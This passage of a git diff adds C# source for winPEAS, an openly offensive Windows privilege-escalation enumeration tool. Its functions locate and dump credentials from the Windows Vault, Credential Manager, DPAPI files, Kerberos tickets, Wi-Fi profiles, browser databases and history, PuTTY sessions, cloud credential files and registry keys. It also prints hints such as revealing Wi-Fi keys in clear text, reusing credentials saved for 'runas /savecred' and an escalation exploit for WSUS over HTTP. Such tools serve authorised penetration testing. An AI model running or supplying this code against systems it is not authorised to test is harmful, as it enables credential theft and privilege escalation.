{0,-38}{1,-38}{2}", entry["Entry"], entry["Name"], entry["Data"]), onlyDefaultStyleSheet); + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + + Beaprint.GreatPrint("Network Information"); + PrintNetShares(); + PrintHostsFile(); + PrintNetworkIfaces(); + PrintListeningPorts(); + PrintFirewallRules(); + PrintDNSCache(); + } + + + + ///////////////////////////////////////////////// + ////////////// WINDOWS CREDENTIALS ////////////// + ///////////////////////////////////////////////// + private static void PrintWindowsCreds() + { + void PrintvaultCreds() + { + try + { + Beaprint.MainPrint("Checking Windows Vault", ""); + Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-manager-windows-vault"); + List> vault_creds = KnownFileCredsInfo.DumpVault(); + + if (using_ansii) + { + Dictionary colorsC = new Dictionary() + { + { "Identity.*|Credential.*", ansii_color_bad }, + }; + Beaprint.DictPrint(vault_creds, colorsC, true); + } + else + { + StyleSheet styleSheetVC = new StyleSheet(color_default); + styleSheetVC.AddStyle("Identity.*", color_bad); + styleSheetVC.AddStyle("Credential.*", color_bad); + styleSheetVC.AddStyle("GUID.*", Color.DarkOrange); + Beaprint.DictPrint(vault_creds, styleSheetVC, true); + } + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintCredManag() + { + try + { + Beaprint.MainPrint("Checking Credential manager", ""); + Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-manager-windows-vault"); + if (exec_cmd) + { + if (using_ansii) + { + Dictionary colorsC = new Dictionary() + { + { "User:.*", ansii_color_bad }, + }; + Beaprint.AnsiiPrint(MyUtils.ExecCMD("cmdkey /list"), colorsC); + } + else + { + StyleSheet styleSheetCM = new StyleSheet(color_default); + styleSheetCM.AddStyle("User:.*", color_bad); + styleSheetCM.AddStyle("Currently stored credentials:|Target:|Type:", color_key); + Colorful.Console.WriteLineStyled(" " + MyUtils.ExecCMD("cmdkey /list"), styleSheetCM); + } + Beaprint.InfoPrint("If any cred was found, you can use it with 'runas /savecred'"); + } + else + { + Beaprint.GrayPrint(" This function is not still implemented."); + Beaprint.InfoPrint("If you want to list credentials inside Credential Manager use 'cmdkey /list'"); + } + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + + } + + void PrintSavedRDPInfo() + { + try + { + Beaprint.MainPrint("Saved RDP connections", ""); + + List> rdps_info = KnownFileCredsInfo.GetSavedRDPConnections(); + if (rdps_info.Count > 0) + Colorful.Console.WriteLineStyled(String.Format(" {0,-20}{1,-55}{2}", "Host", "Username Hint", "User SID"), onlyKeyStyleSheet); + else + Beaprint.NotFoundPrint(); + + foreach (Dictionary rdp_info in rdps_info) + Colorful.Console.WriteLineStyled(String.Format(" {0,-20}{1,-55}{2}", rdp_info["Host"], rdp_info["Username Hint"], rdp_info["SID"]), onlyDefaultStyleSheet); + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintRecentRunCommands() + { + try + { + Beaprint.MainPrint("Recently run commands", ""); + Dictionary recentCommands = KnownFileCredsInfo.GetRecentRunCommands(); + Beaprint.DictPrint(recentCommands, false); + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintDPAPIMasterKeys() + { + try + { + Beaprint.MainPrint("Checking for DPAPI Master Keys", ""); + Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dpapi"); + List> master_keys = KnownFileCredsInfo.ListMasterKeys(); + if (master_keys.Count != 0) + { + string formString = " {0}({1})"; + foreach (Dictionary rf in master_keys) + { + Formatter[] colorsString = new Formatter[] + { + new Formatter(rf["MasterKey"], color_default), + new Formatter(rf["Accessed"], Color.Gray), + }; + Colorful.Console.WriteLineFormatted(formString, color_default, colorsString); + + } + if (MyUtils.IsHighIntegrity()) + Beaprint.InfoPrint("Follow the provided link for further instructions in how to decrypt the masterkey."); + } + else + Beaprint.NotFoundPrint(); + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintDpapiCredFiles() + { + try + { + Beaprint.MainPrint("Checking for Credential Files", ""); + Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dpapi"); + List> cred_files = KnownFileCredsInfo.GetCredFiles(); + Beaprint.DictPrint(cred_files, false); + if (cred_files.Count != 0) + Beaprint.InfoPrint("Follow the provided link for further instructions in how to decrypt the creds file"); + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintRCManFiles() + { + try + { + Beaprint.MainPrint("Checking for RDCMan Settings Files", ""); + Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#remote-desktop-credential-manager", "Dump credentials from Remote Desktop Connection Manager"); + List> rdc_files = KnownFileCredsInfo.GetRDCManFiles(); + Beaprint.DictPrint(rdc_files, false); + if (rdc_files.Count != 0) + Beaprint.InfoPrint("Follow the provided link for further instructions in how to decrypt the .rdg file"); + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintKerberosTickets() + { + try + { + Beaprint.MainPrint("Looking for kerberos tickets", ""); + Beaprint.LinkPrint("https://book.hacktricks.xyz/pentesting/pentesting-kerberos-88"); + List> kerberos_tckts = KnownFileCredsInfo.ListKerberosTickets(); + Beaprint.DictPrint(kerberos_tckts, false); + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintKerberosTGTTickets() + { + try + { + Beaprint.MainPrint("Looking for kerberos TGT tickets", ""); + List> kerberos_tgts = KnownFileCredsInfo.GetKerberosTGTData(); + Beaprint.DictPrint(kerberos_tgts, false); + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintWifi() + { + try + { + Beaprint.MainPrint("Looking saved Wifis", ""); + if (exec_cmd) + { + if (using_ansii) + { + Dictionary colorsC = new Dictionary() + { + { ": .*", ansii_color_bad }, + }; + Beaprint.AnsiiPrint(" " + MyUtils.ExecCMD("netsh wlan show profile"), colorsC); + } + else + { + StyleSheet styleSheetWf = new StyleSheet(color_key); + styleSheetWf.AddStyle(": .*", color_bad); + Colorful.Console.WriteLineStyled(MyUtils.ExecCMD("netsh wlan show profile"), styleSheetWf); + } + } + else + { + Beaprint.GrayPrint(" This function is not still implemented."); + Beaprint.InfoPrint("If you want to list saved Wifis connections you can list the using 'netsh wlan show profile'"); + } + Beaprint.InfoPrint("If you want to get the clear-text password use 'netsh wlan show profile key=clear'"); + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintAppCmd() + { + try + { + Beaprint.MainPrint("Looking AppCmd.exe", ""); + Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#appcmd-exe"); + if (File.Exists(Environment.ExpandEnvironmentVariables(@"%systemroot%\system32\inetsrv\appcmd.exe"))) + Beaprint.BadPrint(" AppCmd.exe was found in " + Environment.ExpandEnvironmentVariables(@"%systemroot%\system32\inetsrv\appcmd.exe You should try to search for credentials")); + else + Beaprint.NotFoundPrint(); + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintSCClient() + { + try + { + Beaprint.MainPrint("Looking SSClient.exe", ""); + Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#scclient-sccm"); + if (File.Exists(Environment.ExpandEnvironmentVariables(@"%systemroot%\Windows\CCM\SCClient.exe"))) + Beaprint.BadPrint(" SCClient.exe was found in " + Environment.ExpandEnvironmentVariables(@"%systemroot%\Windows\CCM\SCClient.exe DLL Side loading?")); + else + Beaprint.NotFoundPrint(); + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintAlwaysInstallElevated() + { + try + { + Beaprint.MainPrint("Checking AlwaysInstallElevated", "T1012"); + Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated"); + string path = "Software\\Policies\\Microsoft\\Windows\\Installer"; + string HKLM_AIE = MyUtils.GetRegValue("HKLM", path, "AlwaysInstallElevated"); + string HKCU_AIE = MyUtils.GetRegValue("HKCU", path, "AlwaysInstallElevated"); + if (HKLM_AIE == "1") + Beaprint.BadPrint(" AlwaysInstallElevated set to 1 in HKLM!"); + if (HKCU_AIE == "1") + Beaprint.BadPrint(" AlwaysInstallElevated set to 1 in HKCU!"); + if (HKLM_AIE != "1" && HKCU_AIE != "1") + Beaprint.BadPrint(" AlwaysInstallElevated isn't available"); + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintWSUS() + { + try + { + Beaprint.MainPrint("Checking WSUS", "T1012"); + Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#wsus"); + string path = "Software\\Policies\\Microsoft\\Windows\\WindowsUpdate"; + string path2 = "Software\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU"; + string HKLM_WSUS = MyUtils.GetRegValue("HKLM", path, "WUServer"); + string using_HKLM_WSUS = MyUtils.GetRegValue("HKLM", path, "UseWUServer"); + if (HKLM_WSUS.Contains("http://")) + { + Beaprint.BadPrint(" WSUS is using http!"); + Beaprint.InfoPrint("You can test https://github.com/pimps/wsuxploit to escalate privileges"); + if (using_HKLM_WSUS == "1") + Beaprint.BadPrint(" And UseWUServer is equals to 1, so it is vulnerable!"); + else if (using_HKLM_WSUS == "0") + Beaprint.GoodPrint(" But UseWUServer is equals to 0, so it is not vulnerable!"); + else + Colorful.Console.WriteLine(" But UseWUServer is equals to " + using_HKLM_WSUS + ", so it may work or not", color_default); + } + else + { + if (String.IsNullOrEmpty(HKLM_WSUS)) + Beaprint.NotFoundPrint(); + else + Beaprint.GoodPrint(" WSUS value: " + HKLM_WSUS); + } + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + Beaprint.GreatPrint("Windows Credentials"); + PrintvaultCreds(); + PrintCredManag(); + PrintSavedRDPInfo(); + PrintRecentRunCommands(); + PrintDPAPIMasterKeys(); + PrintDpapiCredFiles(); + PrintRCManFiles(); + PrintKerberosTickets(); + //PrintKerberosTGTTickets(); #Not working + PrintWifi(); + PrintAppCmd(); + PrintSCClient(); + PrintAlwaysInstallElevated(); + PrintWSUS(); + } + + + + ///////////////////////////////////////////////// + ////////////// BROWSERS INFORMATION ///////////// + ///////////////////////////////////////////////// + private static void PrintBrowserInfo() + { + void PrintDBsFirefox() + { + try + { + Beaprint.MainPrint("Looking for Firefox DBs", "T1503"); + Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#browsers-history"); + List firefoxDBs = KnownFileCredsInfo.GetFirefoxDbs(); + if (firefoxDBs.Count > 0) + { + foreach (string firefoxDB in firefoxDBs) //No Beaprints because line needs red + Beaprint.BadPrint(" Firefox credentials file exists at " + firefoxDB); + + Beaprint.InfoPrint("Run SharpWeb (https://github.com/djhohnstein/SharpWeb)"); + } + else + { + Beaprint.NotFoundPrint(); + } + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintHistFirefox() + { + try + { + Beaprint.MainPrint("Looking for GET credentials in Firefox history", "T1503"); + Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#browsers-history"); + List firefoxHist = KnownFileCredsInfo.GetFirefoxHistory(); + if (firefoxHist.Count > 0) + { + if (using_ansii) + { + Dictionary colorsB = new Dictionary() + { + { print_credStrings, ansii_color_bad }, + }; + foreach (string url in firefoxHist) + { + if (MyUtils.ContainsAnyRegex(url.ToUpper(), credStringsRegex)) + Beaprint.AnsiiPrint(" " + url, colorsB); + } + } + else + { + StyleSheet styleSheetHF = new StyleSheet(color_default); + styleSheetHF.AddStyle(print_credStrings, color_bad); + foreach (string url in firefoxHist) + { + if (MyUtils.ContainsAnyRegex(url.ToUpper(), credStringsRegex)) + Colorful.Console.WriteLineStyled(" " + url, styleSheetHF); + } + } + } + else + { + Beaprint.NotFoundPrint(); + } + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintDBsChrome() + { + try + { + Beaprint.MainPrint("Looking for Chrome DBs", "T1503"); + Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#browsers-history"); + Dictionary chromeDBs = KnownFileCredsInfo.GetChromeDbs(); + if (chromeDBs.ContainsKey("userChromeCookiesPath")) + { + Beaprint.BadPrint(" Chrome cookies database exists at " + chromeDBs["userChromeCookiesPath"]); + Beaprint.InfoPrint("Follow the provided link for further instructions."); + } + + if (chromeDBs.ContainsKey("userChromeLoginDataPath")) + { + Beaprint.BadPrint(" Chrome saved login database exists at " + chromeDBs["userChromeCookiesPath"]); + Beaprint.InfoPrint("Follow the provided link for further instructions."); + } + + if ((!chromeDBs.ContainsKey("userChromeLoginDataPath")) && (!chromeDBs.ContainsKey("userChromeCookiesPath"))) + Beaprint.NotFoundPrint(); + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintHistBookChrome() + { + try + { + Beaprint.MainPrint("Looking for GET credentials in Chrome history", "T1503"); + Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#browsers-history"); + Dictionary> chromeHistBook = KnownFileCredsInfo.GetChromeHistBook(); + List history = chromeHistBook["history"]; + List bookmarks = chromeHistBook["bookmarks"]; + + if (history.Count > 0) + { + if (using_ansii) + { + Dictionary colorsB = new Dictionary() + { + { print_credStrings, ansii_color_bad }, + }; + foreach (string url in history) + { + if (MyUtils.ContainsAnyRegex(url.ToUpper(), credStringsRegex)) + Beaprint.AnsiiPrint(" " + url, colorsB); + } + } + else + { + StyleSheet styleSheetHF = new StyleSheet(color_default); + styleSheetHF.AddStyle(print_credStrings, color_bad); + foreach (string url in history) + { + if (MyUtils.ContainsAnyRegex(url.ToUpper(), credStringsRegex)) + Colorful.Console.WriteLineStyled(" " + url, styleSheetHF); + } + } + Colorful.Console.WriteLine(); + } + else + { + Beaprint.NotFoundPrint(); + } + + Beaprint.MainPrint("Chrome bookmarks", "T1217"); + Beaprint.ListPrint(bookmarks); + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrinteCurrentIETabs() + { + try + { + Beaprint.MainPrint("Current IE tabs", "T1503"); + Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#browsers-history"); + List urls = KnownFileCredsInfo.GetCurrentIETabs(); + + if (using_ansii) + { + Dictionary colorsB = new Dictionary() + { + { print_credStrings, ansii_color_bad }, + }; + Beaprint.ListPrint(urls, colorsB); + } + else + { + StyleSheet styleSheetIET = new StyleSheet(color_default); + styleSheetIET.AddStyle(print_credStrings, color_bad); + Beaprint.ListPrint(urls, styleSheetIET); + } + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintHistFavIE() + { + try + { + Beaprint.MainPrint("Looking for GET credentials in IE history", "T1503"); + Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#browsers-history"); + Dictionary> chromeHistBook = KnownFileCredsInfo.GetIEHistFav(); + List history = chromeHistBook["history"]; + List favorites = chromeHistBook["favorites"]; + + if (history.Count > 0) + { + if (using_ansii) + { + Dictionary colorsB = new Dictionary() + { + { print_credStrings, ansii_color_bad }, + }; + foreach (string url in history) + { + if (MyUtils.ContainsAnyRegex(url.ToUpper(), credStringsRegex)) + Beaprint.AnsiiPrint(" " + url, colorsB); + } + } + else + { + StyleSheet styleSheetHF = new StyleSheet(color_default); + styleSheetHF.AddStyle(print_credStrings, color_bad); + foreach (string url in history) + { + if (MyUtils.ContainsAnyRegex(url.ToUpper(), credStringsRegex)) + Colorful.Console.WriteLineStyled(" " + url, styleSheetHF); + } + } + Colorful.Console.WriteLine(); + } + + Beaprint.MainPrint("IE favorites", "T1217"); + Beaprint.ListPrint(favorites); + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + + Beaprint.GreatPrint("Browsers Information"); + PrintDBsFirefox(); + PrintHistFirefox(); + PrintDBsChrome(); + PrintHistBookChrome(); + PrinteCurrentIETabs(); + PrintHistFavIE(); + } + + + ///////////////////////////////////////////////// + /////////////// INTERESTING FILES /////////////// + ///////////////////////////////////////////////// + private static void PrintInterestingFiles(bool is_fast) + { + void PrintPuttySess() + { + try + { + Beaprint.MainPrint("Putty Sessions", ""); + List> putty_sess = KnownFileCredsInfo.GetPuttySessions(); + + if (using_ansii) + { + Dictionary colorF = new Dictionary() + { + { "ProxyPassword.*", ansii_color_bad }, + }; + Beaprint.DictPrint(putty_sess, colorF, true); + } + else + { + StyleSheet styleSheetPS = new StyleSheet(color_default); + styleSheetPS.AddStyle("ProxyPassword.*", color_bad); + + Beaprint.DictPrint(putty_sess, styleSheetPS, true); + } + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintPuttySSH() + { + try + { + Beaprint.MainPrint("Putty SSH Host keys", ""); + List> putty_sess = KnownFileCredsInfo.ListPuttySSHHostKeys(); + Beaprint.DictPrint(putty_sess, false); + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintCloudCreds() + { + try + { + Beaprint.MainPrint("Cloud Credentials", "T1538&T1083&T1081"); + Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-inside-files"); + List> could_creds = KnownFileCredsInfo.ListCloudCreds(); + if (could_creds.Count != 0) + { + foreach (Dictionary cc in could_creds) + { + string formString = " {0}[{1}]\n Accessed:{2} -- Size:{3}"; + Formatter[] colorsString = new Formatter[] + { + new Formatter(cc["Description"], color_default), + new Formatter(cc["file"], color_bad), + new Formatter(cc["Accessed"], Color.Gray), + new Formatter(cc["Size"], Color.Gray), + }; + Colorful.Console.WriteLineFormatted(formString, color_key, colorsString); + Colorful.Console.WriteLine(""); + } + } + else + Beaprint.NotFoundPrint(); + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintPossCredsRegs() + { + try + { + string[] pass_reg_hkcu = new string[] { @"Software\ORL\WinVNC3\Password", @"Software\TightVNC\Server", @"Software\SimonTatham\PuTTY\Sessions" }; + string[] pass_reg_hklm = new string[] { @"SYSTEM\Microsoft\Windows NT\Currentversion\WinLogon", @"SYSTEM\CurrentControlSet\Services\SNMP" }; + + Beaprint.MainPrint("Looking for possible regs with creds", "T1012&T1214"); + Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#inside-the-registry"); + + string winVNC4 = MyUtils.GetRegValue("HKLM", @"SOFTWARE\RealVNC\WinVNC4", "passwword"); + if (!String.IsNullOrEmpty(winVNC4.Trim())) + Beaprint.BadPrint(winVNC4); + + foreach (string reg_hkcu in pass_reg_hkcu) + Beaprint.DictPrint(MyUtils.GetRegValues("HKLM", reg_hkcu), false); + foreach (string reg_hklm in pass_reg_hklm) + Beaprint.DictPrint(MyUtils.GetRegValues("HKLM", reg_hklm), false); + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintUserCredsFiles() + { + try + { + string patterns = "*credential*;*password*"; + string pattern_color = "[cC][rR][eE][dD][eE][nN][tT][iI][aA][lL]|[pP][aA][sS][sS][wW][oO][rR][dD]"; + List valid_extensions = new List() { ".txt", ".conf", ".cnf", ".yml", ".yaml", ".doc", ".docx", ".xlsx", ".json", ".xml" }; + StyleSheet styleSheetPCF = new StyleSheet(color_default); + styleSheetPCF.AddStyle(pattern_color, color_bad); + Dictionary colorF = new Dictionary() + { + { pattern_color, ansii_color_bad }, + }; + + Beaprint.MainPrint("Looking for possible password files in users homes", "T1083&T1081"); + Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-inside-files"); + string searchPath = String.Format("{0}\\", Environment.GetEnvironmentVariable("SystemDrive") + "\\Users"); + List files_paths = MyUtils.FindFiles(searchPath, patterns); + foreach (string file_path in files_paths) + { + if (!Path.GetFileName(file_path).Contains(".")) + { + if (using_ansii) + Beaprint.AnsiiPrint(" " + file_path, colorF); + else + Colorful.Console.WriteLineStyled(" " + file_path, styleSheetPCF); + } + else + { + foreach (string ext in valid_extensions) + { + if (file_path.Contains(ext)) + { + if (using_ansii) + Beaprint.AnsiiPrint(" " + file_path, colorF); + else + Colorful.Console.WriteLineStyled(" " + file_path, styleSheetPCF); + } + } + } + } + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintRecycleBin() + { + try + { + StyleSheet styleSheetRB = new StyleSheet(color_default); + styleSheetRB.AddStyle(patterns_file_creds_color, color_bad); + string pattern_bin = patterns_file_creds + ";*password*;*credential*"; + Dictionary colorF = new Dictionary() + { + { patterns_file_creds + "|.*password.*|.*credential.*", ansii_color_bad }, + }; + + Beaprint.MainPrint("Looking inside the Recycle Bin for creds files", "T1083&T1081&T1145"); + Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-inside-files"); + List> recy_files = InterestingFiles.GetRecycleBin(); + foreach (Dictionary rec_file in recy_files) + { + foreach (string pattern in pattern_bin.Split(';')) + { + if (Regex.Match(rec_file["Name"], pattern.Replace("*", ".*"), RegexOptions.IgnoreCase).Success) + { + if (using_ansii) + Beaprint.DictPrint(rec_file, colorF, true); + else + Beaprint.DictPrint(rec_file, styleSheetRB, true); + Colorful.Console.WriteLine(); + } + } + } + if (recy_files.Count <= 0) + Beaprint.NotFoundPrint(); + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintPossCredsFiles() + { + try + { + StyleSheet styleSheetPCF = new StyleSheet(color_default); + styleSheetPCF.AddStyle(patterns_file_creds_color, color_bad); + Dictionary colorF = new Dictionary() + { + { patterns_file_creds_color, ansii_color_bad }, + }; + + Beaprint.MainPrint("Looking for possible known files that can contain creds", "T1083&T1081"); + Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-inside-files"); + string searchPath = String.Format("{0}\\", Environment.GetEnvironmentVariable("SystemDrive")); + MyUtils.FindFiles(searchPath, patterns_file_creds, styleSheetPCF, colorF); + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintUsersDocsKeys() + { + try + { + Beaprint.MainPrint("Looking for documents --limit 100--", "T1083"); + List doc_files = InterestingFiles.ListUsersDocs(); + Beaprint.ListPrint(doc_files.GetRange(0, doc_files.Count <= 100 ? doc_files.Count : 100)); + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintRecentFiles() + { + try + { + Beaprint.MainPrint("Recent files --limit 70--", "T1083&T1081"); + List> rec_files = KnownFileCredsInfo.GetRecentFiles(); + if (rec_files.Count != 0) + { + string formString = " {0}({1})"; + foreach (Dictionary rf in rec_files.GetRange(0, rec_files.Count <= 70 ? rec_files.Count : 70)) + { + Formatter[] colorsString = new Formatter[] + { + new Formatter(rf["Target"], color_default), + new Formatter(rf["Accessed"], Color.Gray), + }; + Colorful.Console.WriteLineFormatted(formString, color_key, colorsString); + } + } + else + Beaprint.NotFoundPrint(); + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + + Beaprint.GreatPrint("Interesting files and registry"); + PrintPuttySess(); + PrintPuttySSH(); + PrintCloudCreds(); + PrintPossCredsRegs(); + PrintUserCredsFiles(); + PrintRecycleBin(); + if (!is_fast) + { + PrintPossCredsFiles(); + PrintUsersDocsKeys(); + } + PrintRecentFiles(); + } + + + [STAThread] + static void Main(string[] args) + { + //AppDomain.CurrentDomain.AssemblyResolve += (sender, arg) => { if (arg.Name.StartsWith("Colorful.Console")) return Assembly.Load(Properties.Resources.String1); return null; }; + interestingUsersGroups.AddRange(currentUserGroups); + paint_interestingUserGroups = String.Join("|", interestingUsersGroups); + + //Check parameters + bool check_all = true; + bool check_si = false; + bool check_iu = false; + bool check_ip = false; + bool check_is = false; + bool check_ia = false; + bool check_in = false; + bool check_wc = false; + bool check_bi = false; + bool check_if = false; + foreach (string arg in args) + { + if (string.Equals(arg, "fast", StringComparison.CurrentCultureIgnoreCase)) + is_fast = true; + + if (string.Equals(arg, "cmd", StringComparison.CurrentCultureIgnoreCase)) + exec_cmd = true; + + if (string.Equals(arg, "ansii", StringComparison.CurrentCultureIgnoreCase)) + using_ansii = true; + + if (string.Equals(arg, "help", StringComparison.CurrentCultureIgnoreCase)) + { + Beaprint.PrintUsage(); + return; + } + + if (string.Equals(arg, "-h", StringComparison.CurrentCultureIgnoreCase)) + { + Beaprint.PrintUsage(); + return; + } + + if (string.Equals(arg, "--help", StringComparison.CurrentCultureIgnoreCase)) + { + Beaprint.PrintUsage(); + return; + } + + if (string.Equals(arg, "/h", StringComparison.CurrentCultureIgnoreCase)) + { + Beaprint.PrintUsage(); + return; + } + + else if (string.Equals(arg, "systeminfo", StringComparison.CurrentCultureIgnoreCase)) + { + check_si = true; + check_all = false; + } + + else if (string.Equals(arg, "userinfo", StringComparison.CurrentCultureIgnoreCase)) + { + check_iu = true; + check_all = false; + } + + else if (string.Equals(arg, "procesinfo", StringComparison.CurrentCultureIgnoreCase)) + { + check_ip = true; + check_all = false; + } + + else if (string.Equals(arg, "servicesinfo", StringComparison.CurrentCultureIgnoreCase)) + { + check_is = true; + check_all = false; + } + + else if (string.Equals(arg, "applicationsinfo", StringComparison.CurrentCultureIgnoreCase)) + { + check_ia = true; + check_all = false; + } + + else if (string.Equals(arg, "networkinfo", StringComparison.CurrentCultureIgnoreCase)) + { + check_in = true; + check_all = false; + } + + else if (string.Equals(arg, "windowscreds", StringComparison.CurrentCultureIgnoreCase)) + { + check_wc = true; + check_all = false; + } + + else if (string.Equals(arg, "browserinfo", StringComparison.CurrentCultureIgnoreCase)) + { + check_bi = true; + check_all = false; + } + + else if (string.Equals(arg, "filesinfo", StringComparison.CurrentCultureIgnoreCase)) + { + check_if = true; + check_all = false; + } + } + + Beaprint.PrintInit(); + if (check_si || check_all) + PrintSystemInfo(); + if (check_iu || check_all) + PrintInfoUsers(); + if (check_ip || check_all) + PrintInfoProcesses(); + if (check_is || check_all) + PrintInfoServices(); + if (check_ia || check_all) + PrintInfoApplications(); + if (check_in || check_all) + PrintInfoNetwork(); + if (check_wc || check_all) + PrintWindowsCreds(); + if (check_bi || check_all) + PrintBrowserInfo(); + if (check_if || check_all) + PrintInterestingFiles(is_fast); + + /* + * Wifi (passwords?) + * Keylogger? + * Check if you can modify a task + * Input prompt ==> Better in PS + * List Drivers ==> but how do I know if a driver is malicious? + */ + + //System.Console.ReadLine(); //For debugging + } + } +} + + diff --git a/winPEAS/winPEASexe/winPEAS/Properties/AssemblyInfo.cs b/winPEAS/winPEASexe/winPEAS/Properties/AssemblyInfo.cs new file mode 100755 index 0000000..524d0e9 --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("winPEAS")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("winPEAS")] +[assembly: AssemblyCopyright("Copyright © 2019")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("d934058e-a7db-493f-a741-ae8e3df867f4")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/winPEAS/winPEASexe/winPEAS/ServicesInfo.cs b/winPEAS/winPEASexe/winPEAS/ServicesInfo.cs new file mode 100755 index 0000000..0c18e36 --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/ServicesInfo.cs @@ -0,0 +1,146 @@ +using Microsoft.Win32; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Management; +using System.Text.RegularExpressions; + +namespace winPEAS +{ + class ServicesInfo + { + public static List> GetNonstandardServices() + { + List> results = new List>(); + try + { + ManagementObjectSearcher wmiData = new ManagementObjectSearcher(@"root\cimv2", "SELECT * FROM win32_service"); + ManagementObjectCollection data = wmiData.Get(); + + foreach (ManagementObject result in data) + { + if (result["PathName"] != null) + { + Match path = Regex.Match(result["PathName"].ToString(), @"^\W*([a-z]:\\.+?(\.exe|\.dll|\.sys))\W*", RegexOptions.IgnoreCase); + String binaryPath = path.Groups[1].ToString(); + string companyName = ""; + string isDotNet = ""; + try + { + FileVersionInfo myFileVersionInfo = FileVersionInfo.GetVersionInfo(binaryPath); + companyName = myFileVersionInfo.CompanyName; + isDotNet = MyUtils.CheckIfDotNet(binaryPath) ? "isDotNet" : ""; + } + catch (Exception ex) + { + // Not enough privileges + } + + if ((String.IsNullOrEmpty(companyName)) || (!Regex.IsMatch(companyName, @"^Microsoft.*", RegexOptions.IgnoreCase))) + { + Dictionary toadd = new Dictionary(); + toadd["Name"] = String.Format("{0}", result["Name"]); + toadd["DisplayName"] = String.Format("{0}", result["DisplayName"]); + toadd["CompanyName"] = companyName; + toadd["State"] = String.Format("{0}", result["State"]); + toadd["StartMode"] = String.Format("{0}", result["StartMode"]); + toadd["PathName"] = String.Format("{0}", result["PathName"]); + toadd["FilteredPath"] = binaryPath; + toadd["isDotNet"] = 